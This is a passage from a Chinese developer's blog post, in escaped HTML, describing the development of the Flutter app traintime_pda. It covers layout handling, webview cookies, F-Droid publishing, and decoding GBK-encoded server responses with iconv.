class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003eEND:VCALENDAR\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e分享方式,在移动端使用了\u003ca class=\"link\" href=\"https://pub.dev/packages/share_plus\" target=\"_blank\" rel=\"noopener\"\n \u003e\u003ccode\u003eshare_plus\u003c/code\u003e\u003c/a\u003e, 这个库很简单。我要记一笔关于临时文件的东西。这个东西分享文件,是先在软件的临时目录中保存,然后分享,临时文件的清理就交给了系统。我是自己写了一套保存到临时文件,分享后立刻删除的机制。顺便,一定要设定\u003ccode\u003emime-type\u003c/code\u003e为\u003ccode\u003etext/calendar\u003c/code\u003e,要不然存的就是纯文本文件。\u003c/p\u003e\n\u003cp\u003e在桌面端,则使用\u003ca class=\"link\" href=\"https://pub.dev/packages/file_picker\" target=\"_blank\" rel=\"noopener\"\n \u003efile_picker\u003c/a\u003e库,通过里面\u003ccode\u003esaveFile\u003c/code\u003e函数获取到要存储的位置,然后进行保存。\u003c/p\u003e\n\u003ch3 id=\"显示未安排课程和课程调整信息\"\u003e显示未安排课程和课程调整信息\u003c/h3\u003e\n\u003cp\u003e这两个页面分别读取状态里面的未安排课程信息和课程调整信息,然后展示,没了()\u003c/p\u003e\n\u003ch3 id=\"添加课程页面\"\u003e添加课程页面\u003c/h3\u003e\n\u003cp\u003e这个页面,在功能上只是对接控制器 -\u0026gt; PDA 自己的代码,但是我们还是需要搞明白咋传的数据。\u003c/p\u003e\n\u003cp\u003e我们需要以下数据:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课程名称,老师,地点\u003c/li\u003e\n\u003cli\u003e上课周次,时间(星期几上课,第几节课开始,第几节课结束)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e前面的都好办,仨输入框控制器解决问题。后面时间的获取稍微有点麻烦,需要用到一个布尔数组和三个整型变量,代表周次和上课开始结束。上课周次是一系列的按钮,按啥改变数组对应的地方。选择周次和上课开始结束则涉及到\u003ccode\u003ewheel_chooser\u003c/code\u003e,一个根据纵向\u003ccode\u003ePageView\u003c/code\u003e,每页变化时候执行相应函数的组件。详情请阅读这些代码,非常直观。\u003c/p\u003e\n\u003cp\u003e当用户决定提交的时候,判断用户数据是否符合要求:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e必须输入课程名称\u003c/li\u003e\n\u003cli\u003e上课时间不能大于下课时间\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e之后,将用户的输入转成课程信息和时间安排,执行控制器对应的代码,更新课程表页面。\u003c/p\u003e\n\u003ch2 id=\"横屏幕和竖屏幕\"\u003e横屏幕和竖屏幕\u003c/h2\u003e\n\u003cp\u003e(来自 v0.1.0 发行概要)\u003c/p\u003e\n\u003cp\u003e我的程序做了一点平板的优化,我由此更加了解了 Flutter 的响应式开发。\u003c/p\u003e\n\u003ch3 id=\"如何在-flutter-侦测横屏幕竖屏幕\"\u003e如何在 Flutter 侦测横屏幕竖屏幕\u003c/h3\u003e\n\u003cp\u003eFlutter 本身有很多的属性部件,比如\u003ccode\u003eTheme\u003c/code\u003e用来访问主题属性,\u003ccode\u003eNavigator\u003c/code\u003e访问路由栈之类。这里我使用的是\u003ccode\u003eMediaQuery.of(context).size\u003c/code\u003e,这是用来侦测当前页面长宽高状态的。实际上,上面我提到的很多高度检测啥的,都是用这个实现的。\u003c/p\u003e\n\u003cp\u003e而侦测屏幕位置,有两个思路:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e长宽比,长大于宽就是横着,否则就是竖着。\u003c/li\u003e\n\u003cli\u003e之前我看到一篇文章说宽度 480 是个坎,小于算竖着。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e我这里使用了后者的想法,前面的想法我就不写了:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"m\"\u003e480\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e顺便说一句 LayoutBuilder, 是用来给部件加约束的组件,具体看官方指南吧。\u003c/p\u003e\n\u003ch3 id=\"我的-bothsideview\"\u003e我的 BothSideView\u003c/h3\u003e\n\u003cp\u003e先给大家看看这玩意到底是个啥东西:\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/both.side.sheet.gif\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/both.side.sheet.gif\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e如你所见,在竖屏的时候,他是从底往上呼出的,跟 \u003ca class=\"link\" href=\"https://m3.material.io/components/bottom-sheets/guidelines\" target=\"_blank\" rel=\"noopener\"\n \u003eBottomSheet\u003c/a\u003e 一样;在横屏的时候,他是从右向左呼出的,和 \u003ca class=\"link\" href=\"https://m3.material.io/components/side-sheets/overview\" target=\"_blank\" rel=\"noopener\"\n \u003eSideSheet\u003c/a\u003e 一样。\u003c/p\u003e\n\u003cp\u003eFlutter 的 Material 框架本身没有实现 SideSheet ,而对于横屏来说,BottomSheet 是十分浪费屏幕,而且不太好看,从左面呼出是更合适的。得亏有很多的大佬,自行实现了 SideSheet 插件,我可以直接拿来使用他们的概念,但我想把这两个结合在一起。\u003c/p\u003e\n\u003cp\u003e而为啥要将这两个东西合在一起呢?这就涉及到实际使用中,我们是如何呼出 BottomSheet 了。\u003c/p\u003e\n\u003cp\u003e呼出 BottomSheet 和呼出 Dialog 一样,是使用了一个函数,在这里,叫 \u003ccode\u003eshowBottomSheet\u003c/code\u003e。这玩意有个问题,他本质上是往路由栈里面压入一个 BottomSheet 页面栈,也就是说,无论横屏幕还是竖屏幕,他永远是 BottomSheet,而不会变化一点。我一开始用了 SideSheet,结果发现横屏开了 SideSheet,竖屏过来了还是 SideSheet,他们之间不会互相转化。\u003c/p\u003e\n\u003cp\u003e那我就缝合吧,SideSheet 好办,抄过来先辈的代码就好了,顺便我抄过来使用 \u003ccode\u003eshowGeneralDialog\u003c/code\u003e 来显示弹窗了。但是 BottomSheet 本身并没有任何代码资料,我只能自己写了。我使用了 StatefulWidget 来保存 heightForVertical 变量,这是个高度变量,默认为页面高度的 80% 。然后我使用了一个 GestureDetector ,手势侦测器。这个侦测器在拖拽最上面的小横杠时候进行当前高度检测,然后更新高度。这里我将收起的高度定为页面高度的 40% 。\u003c/p\u003e\n\u003cp\u003e这里我说明一下 BottomSheet 和 SideSheet 的特点,他们都可以分成两个部分,上面的和下面的。下面的是传参传进来的部件,上面的就是属于部件的东西了。\u003c/p\u003e\n\u003cp\u003e最后再说一句,原来的 SideSheet 的最上面是使用 \u003ccode\u003eAppBar\u003c/code\u003e 实现的,但是 AppBar 会侦测手机的状态栏,最终导致在某些情况下,上面的高度过高。我被迫自行实现了这里,搞得很难看。\u003c/p\u003e\n\u003cp\u003e本组件代码在\u003ccode\u003e/lib/page/public_widget/both_side_sheet.dart\u003c/code\u003e,可能我考虑发个包。\u003c/p\u003e\n\u003ch3 id=\"pageview-组件使用\"\u003ePageView 组件使用\u003c/h3\u003e\n\u003cp\u003e还是跟组件状态玩命。\u003c/p\u003e\n\u003cp\u003e原先,我的首页是抄的 \u003ca class=\"link\" href=\"https://flutter.github.io/samples/material_3.html\" target=\"_blank\" rel=\"noopener\"\n \u003eFlutter 的 M3 实例\u003c/a\u003e。这样我就可以在横屏幕时候使用左侧的 \u003ca class=\"link\" href=\"https://m3.material.io/components/navigation-rail/overview\" target=\"_blank\" rel=\"noopener\"\n \u003eNavigationRail\u003c/a\u003e,竖屏幕的时候使用底部的 \u003ca class=\"link\" href=\"https://m3.material.io/components/navigation-bar/overview\" target=\"_blank\" rel=\"noopener\"\n \u003eNavigationBar\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e那么,问题在哪?我原先写的组件,将横屏渲染和竖屏渲染函数给分开写了。结果就导致前几天我迁移首页四个卡片到 PageView 的时候,出现了横屏和竖屏切换时候,页面永远会刷新到第一页。一开始我看了好久的 StatefulWidget 的状态周期,我也没明白。最后我发现,我这是两个组件,每次刷新的时候都会重新绘制这两个组件。解决方法就是,将这两个组件合二为一,在一个组件里面渲染,使用 \u003ccode\u003eVisibility\u003c/code\u003e 组件按需隐藏。\u003c/p\u003e\n\u003ch2 id=\"webview-cookie-相关\"\u003eWebview Cookie 相关\u003c/h2\u003e\n\u003cp\u003e(来自 v0.2.0 发行概要)\u003c/p\u003e\n\u003cp\u003e想在 Flutter 使用 Webview ,你可以使用两个插件:\u003ca class=\"link\" href=\"https://pub.dev/packages/webview_flutter\" target=\"_blank\" rel=\"noopener\"\n \u003ewebview_flutter\u003c/a\u003e 和 \u003ca class=\"link\" href=\"https://pub.dev/packages/flutter_inappwebview\" target=\"_blank\" rel=\"noopener\"\n \u003eflutter_inappwebview\u003c/a\u003e。前者是官方开发,功能基础;后者是第三方开发,功能强大。我为了保证简洁,使用的是前者。\u003c/p\u003e\n\u003cp\u003e关于插件,网上很多资料都是很老的,我参考了这位的文章:\u003ca class=\"link\" href=\"https://juejin.cn/post/7196698315835260984\" target=\"_blank\" rel=\"noopener\"\n \u003e在 Flutter 中使用 webview_flutter 4.0\u003c/a\u003e,其中最有用的是第三篇,讲怎么用 Cookie 的。我的程序是这样写的:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eWebView 页面中,接受要前往的网站和获取 Cookie 的网站。\u003c/li\u003e\n\u003cli\u003e在 initState 状态下,初始化 Webview 的 CookieManager 和 Controller。WebView 的控制器可以控制加载,页面前进和回去。\u003c/li\u003e\n\u003cli\u003e在 didChangedDepencies 状态下,根据获取 Cookie 的网站,从 Dio 的 CookieJar 中获取 Cookie。然后控制器请求对应网站。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e具体代码在\u003ca class=\"link\" href=\"https://github.com/BenderBlog/traintime_pda/blob/main/lib/page/homepage/toolbox/webview.dart\" target=\"_blank\" rel=\"noopener\"\n \u003e这里\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e最后,这个玩意貌似在 iOS 平台下有 bug,Cookie 死活加不进去,我已经彻底摆烂了:P\u003c/p\u003e\n\u003ch2 id=\"上架-f-droid-平台\"\u003e上架 F-Droid 平台\u003c/h2\u003e\n\u003cp\u003e(来自 v0.2.0 发行概要)\u003c/p\u003e\n\u003cp\u003eF-Droid 有两个好:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e开源的东西多,就是好\u003c/li\u003e\n\u003cli\u003e目前我程序在安卓平台唯一可以“自动更新”的方式\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eFlutter 程序上架,除了官方的,可以参考这位的\u003ca class=\"link\" href=\"https://friesi23.github.io/flutter/android/fdroid/appstore/2023/06/08/submitting-your-flutter-app-to-fdroid.html\" target=\"_blank\" rel=\"noopener\"\n \u003e上传指南\u003c/a\u003e。我想补充两点————可重复构建,分开架构构建:\u003c/p\u003e\n\u003cp\u003eF-Droid 的可重复构建,对我而言,最主要的就是使分发都带上我的签名。这就需要保证构建元数据需要你签名的 sha256 摘要,和一个可供对照的构建(在我这里就是我在 Github Action 上面的构建)。\u003c/p\u003e\n\u003cp\u003e分开架构构建,就是按照手机架构(arm64,arm32,x86)来构建分发包。这个东西,貌似每个架构的版本构建号还不一样。当时写构建元数据的时候,写到弃疗。他们 F-Droid 的审核人好好,帮我写了T_T\u003c/p\u003e\n\u003cp\u003e我的上架过程可以看看\u003ca class=\"link\" href=\"https://gitlab.com/fdroid/fdroiddata/-/merge_requests/13537\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e,合并请求后四天,真正上架。你们可以从这里\u003ca class=\"link\" href=\"https://f-droid.org/zh_Hans/packages/io.github.benderblog.traintime_pda/\" target=\"_blank\" rel=\"noopener\"\n \u003e点进链接下载\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e另外说为啥来这里上架,我这软件确实是自由软件。还有,国内上架需要这个那个的,感觉好麻烦,而且已经有电表了,再上架一个感觉也吸引不了多少。\u003c/p\u003e\n\u003cp\u003e(现在更好了,备案号我是有,但我是个人名义,很多平台不认2333)\u003c/p\u003e\n\u003ch2 id=\"双创需求大厅相关\"\u003e双创需求大厅相关\u003c/h2\u003e\n\u003cp\u003e(来自 v0.2.0 发行概要)\u003c/p\u003e\n\u003cp\u003e这个东西,主要是使用了 Dart 3 的最新语言功能:Records。详情\u003ca class=\"link\" href=\"https://juejin.cn/post/7233067863500849209\" target=\"_blank\" rel=\"noopener\"\n \u003e看这个文章\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003e我没记错,go 好像能一次性返回两个值。一开始我感觉很神奇,然后相似的东西就降临到 Flutter 了。说回来,如果没有这个东西,我会考虑 Pair / List,大不了写个 class 。\u003c/p\u003e\n\u003cp\u003e双创需求大厅本质上跟找工作网站差不多,都得有个 Popup 来选择职位状况。这个东西的服务器筛选工作,是需要两个东西:一个 String 传大致分类,一个字符串数组传输 tags。我选择这俩东西的部件是写在外面的,需要返回数据的话,我直接写 \u003ccode\u003e(String, List\u0026lt;String\u0026gt;)\u003c/code\u003e 就可以了。读取的这些数据的话,可以通过 \u003ccode\u003e$1\u003c/code\u003e 或 \u003ccode\u003e$2\u003c/code\u003e 来读取。\u003c/p\u003e\n\u003cp\u003e不过这玩意现在只有五个数据,以后会不会变多呢?也许我能通过这个,说一波我程序和xxx合作?\u003c/p\u003e\n\u003ch2 id=\"关于物理实验乱码处理和-dio-转换器\"\u003e关于物理实验,乱码处理和 Dio 转换器\u003c/h2\u003e\n\u003cp\u003e(来自 v0.4.0 发行概要,其中 Iconv 内容是本版本新添加的)\u003c/p\u003e\n\u003cp\u003e我们学校目前的物理实验服务器使用的是 2005 年的 ASP 技术,重点在 2005 年。实际上技术差点也没啥,但是有两点属实离谱:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e所有的信息都是用 GB2312 编码的。\u003c/li\u003e\n\u003cli\u003e传回的 Cookie 有中文字符的字段。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e其中第二点是最离谱的。\u003c/p\u003e\n\u003cp\u003e对于 Dart 底层的默认 UTF-16 String 来说,这俩点属实头疼。\u003c/p\u003e\n\u003ch3 id=\"乱码处理\"\u003e乱码处理\u003c/h3\u003e\n\u003cp\u003e乱码实际上很常见,常知道的锟斤拷梗就跟这个相关。毕竟汉字跟英文一样,在电脑底层都是需要用二进制编码来表示的。简体中文汉字有两个主要编码:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e国标码:一个用于编码汉字和一些日韩字符的国家标准,主要有 GB2312,GBK,GB18030 三个标准,呈现继承与发展(向下兼容)的特性。请查看\u003ca class=\"link\" href=\"https://zhuanlan.zhihu.com/p/453675608\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e来搞清国标码(GBK)相关。Windows 默认就是这个编码。国标码是定长编码,基本使用两个字节(16 位二进制位)来表示一个汉字。\u003c/li\u003e\n\u003cli\u003eUTF 编码:国际上有个统一码联盟,他们负责给全世界所有的字符编码,称为 Unicode。很早他们就支持了中日韩三个语言字符的编码(由于文字特性,中日韩字符在他们的体系中,在一个分区)。Unicode 只是规定了字符对应的二进制表示,但实际使用,位数过长而且浪费很多,所以实际使用只能继续缩短,使用更短的变长编码,称为 UTF。UTF 分成很多版本,一般代表了最短编码位数是多少。Linux / Mac + 互联网数据一般都是用这个编码。详情可以查看\u003ca class=\"link\" href=\"https://zhuanlan.zhihu.com/p/427488961\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e说到变长编码知识,计算机组成会讲汇编命令是如何编码的,那里会讲的。\u003c/p\u003e\n\u003cp\u003e很明显,如果用 UTF 编码解析国标码,绝对会解析出不正常的数据。大巧不巧,Dart 语言的 String 本质上是一个 UTF-16 编码的序列。于是问题就产生了。\u003c/p\u003e\n\u003cp\u003e国标码是定长编码,而 UTF 是变长编码,很显然是基本没法兼容的。不兼容还好,在我的实践中,用 UTF 编码先编码回二进制信息,然后用国标码解码信息,大概率是无法得到正确的数据。\u003c/p\u003e\n\u003cp\u003e所以我目前程序中,需要让网络库不能用 Dart 的 String 来解码我的数据,我需要一个支持国标码的解码库。\u003c/p\u003e\n\u003ch3 id=\"dart--flutter-的-gbk-解码库\"\u003eDart / Flutter 的 GBK 解码库\u003c/h3\u003e\n\u003cp\u003e这个实际上有两种:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e流行方案:使用 UTF 和 GBK 的码表一一对应,方便转换。这个方式对平台很灵活,缺点需要让我程序增大 500k 左右,而且这种方式在执行时候也会有些慢。\u003c/li\u003e\n\u003cli\u003e调用系统的解码接口来解码信息,我使用的是这个方案。但是缺点也很明显,如果没有对目标系统适配,解码就很难办。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e最终我使用的是这个库:\u003ca class=\"link\" href=\"https://pub.dev/packages/charset_converter\" target=\"_blank\" rel=\"noopener\"\n \u003echarset_converter\u003c/a\u003e。它目前能 Windows,Android,iOS 三个系统的转码,而且使用很方便。他支持很多编码,但我主要用国标码。\u003c/p\u003e\n\u003ch3 id=\"关于-dio-的转换器\"\u003e关于 Dio 的转换器\u003c/h3\u003e\n\u003cp\u003eDio 的网络请求使用的是过滤器流水线模式:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eHTTP 请求 -\u0026gt; 若干拦截器 -\u0026gt; 转换器 -\u0026gt; Dart 底层实现或系统网络实现\n响应的二进制码 -\u0026gt; 转换器 -\u0026gt; 若干拦截器 -\u0026gt; HTTP 响应\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e拦截器一般处理 Cookie,判断响应码之类。目前 Dio 的拦截器不支持异步方法。\u003c/p\u003e\n\u003cp\u003e转换器 Transformer 是一个二进制码和 HTTP 请求响应结构互相转化的桥梁。默认的 Transformer 是解码后用来对 body 进行判断的。由于我上面提到,不能用 UTF 先编码再解码,所以我定制了一个 Transformer,称为 \u003ccode\u003eExperimentDioTransformer\u003c/code\u003e。在一些基本对 Body 的二进制解析后,直接用 GBK 解码库来返回数据。学校物理实验服务器都是返回的网页,所以这么写没啥问题。\u003c/p\u003e\n\u003cp\u003e(现在新版本的拦截器可以用异步办法了,但我不想改了)\u003c/p\u003e\n\u003ch3 id=\"关于-cookie-有中文字符\"\u003e关于 Cookie 有中文字符\u003c/h3\u003e\n\u003cp\u003e可以看看\u003ca class=\"link\" href=\"https://github.com/cfug/dio/issues/1959\" target=\"_blank\" rel=\"noopener\"\n \u003e我在 Dio 开发仓库提出的问题\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003eCookie 的官方规范,是仅允许一部分 ASCII 码作为合法字符的,Dart 核心库的 Cookie 实现严格遵照这个规范。但是令我哭笑不得的是,咱学校物理实验服务器传回的 Cookie 包含中文字符,就是这个用户的名字。加上 GBK 导致的编码,最后的结果自然就是报错,扔出“错误编码异常”。\u003c/p\u003e\n\u003cp\u003e人官方严格按照标准,无可厚非。我为了这个玩意折腾了很长时间,直到最后,有个人告诉我,那个 Cookie 给服务器传任何值都可以,我无语了\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003ch3 id=\"关于-iconv-转码的两三事\"\u003e关于 Iconv 转码的两三事\u003c/h3\u003e\n\u003cp\u003e这是搞 Windows 和 Linux 构建的副产品,针对\u003ccode\u003echarset_converter\u003c/code\u003e搞的新扩展。Pull-Request 链接\u003ca class=\"link\" href=\"https://github.com/pr0gramista/charset_converter/pull/38\" target=\"_blank\" rel=\"noopener\"\n \u003e在此\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e接下来说明\u003ccode\u003eIConv\u003c/code\u003e库,Unix 下面用来转码的库。实现很多,这里我使用的是 GTK 里面自带的 Iconv 库,因为 Flutter for Linux 使用的是 GTK,这样做能减少依赖。顺便,给 Flutter 写 Linux 原生代码有个注意点,好歹要对\u003ccode\u003eGLib\u003c/code\u003e这玩意有点了解。我之前速通过\u003ccode\u003eVala\u003c/code\u003e,所以不算过于陌生。\u003c/p\u003e\n\u003cp\u003e我主要利用了这些函数:\u003c/p\u003e\n\u003ch4 id=\"生成实例函数\"\u003e生成实例函数\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eGIConv\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nf\"\u003eg_iconv_open\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003egchar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eto_codeset\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003egchar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003efrom_codeset\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e(\u003ccode\u003egchar\u003c/code\u003e 是 \u003ccode\u003eGLib\u003c/code\u003e 里面,对于 \u003ccode\u003echar\u003c/code\u003e 的别称)\u003c/p\u003e\n\u003cp\u003e传入的是两个字符串,要转成的字符编码\u003ccode\u003eto_codeset\u003c/code\u003e和源文本的字符编码\u003ccode\u003efrom_charset\u003c/code\u003e。返回的是一个\u003ccode\u003eGIConv\u003c/code\u003e转换器,或者,如果“打开转换器失败”(多数情况就是没找到编码),就返回\u003ccode\u003e(GIConv)-1 \u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e这个函数也可用于侦测编码集是否支持,代码如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003egboolean\u003c/span\u003e \u003cspan class=\"n\"\u003eisAvaliable\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eiconv_cd\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eg_iconv_open\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;UTF-8\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nf\"\u003efl_value_to_string\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003echarsetName\u003c/span\u003e\u003cspan class=\"p\"\u003e)))\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGIConv\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"编码解码函数\"\u003e编码解码函数\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003egchar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nf\"\u003eg_convert_with_iconv\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003egchar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003estr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003egssize\u003c/span\u003e \u003cspan class=\"n\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eGIConv\u003c/span\u003e \u003cspan class=\"n\"\u003econverter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003egsize\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003ebytes_read\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003egsize\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003ebytes_written\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eGError\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这个是主要的解码函数,强制需要输入要解码的字符串\u003ccode\u003estr\u003c/code\u003e,字符串长度\u003ccode\u003elen\u003c/code\u003e,和转换器\u003ccode\u003econverter\u003c/code\u003e;不强制需要的是存储读取字符的地址\u003ccode\u003ebytes_read\u003c/code\u003e,存储写入字符数量的地址\u003ccode\u003ebytes_written\u003c/code\u003e,以及一个存储报错信息的地址\u003ccode\u003eerror\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e关于这里,想多说几句。\u003ccode\u003echarset_converter\u003c/code\u003e插件提供的接口本身没有提供待转换字符串的长度,这对其他原生平台没有问题,但对 Iconv 来说,有点要命。Iconv 接受的是一个用\u003ccode\u003e\\0\u003c/code\u003e结束的,正宗 C 语言字符串,但是 Flutter 传过来的时候没有。而 C 语言没有侦测内存大小的函数,我的 C 语言基本也快忘了,所以情况很离谱。如果我不知道字符串长度,而直接转换,基本上不是末尾多了一个字符,就是少了几个,甚至直接报错。我直接改这个插件 Dart 端的函数形参很不现实,最主要的是这插件不是我写的。所以最后,我只能在 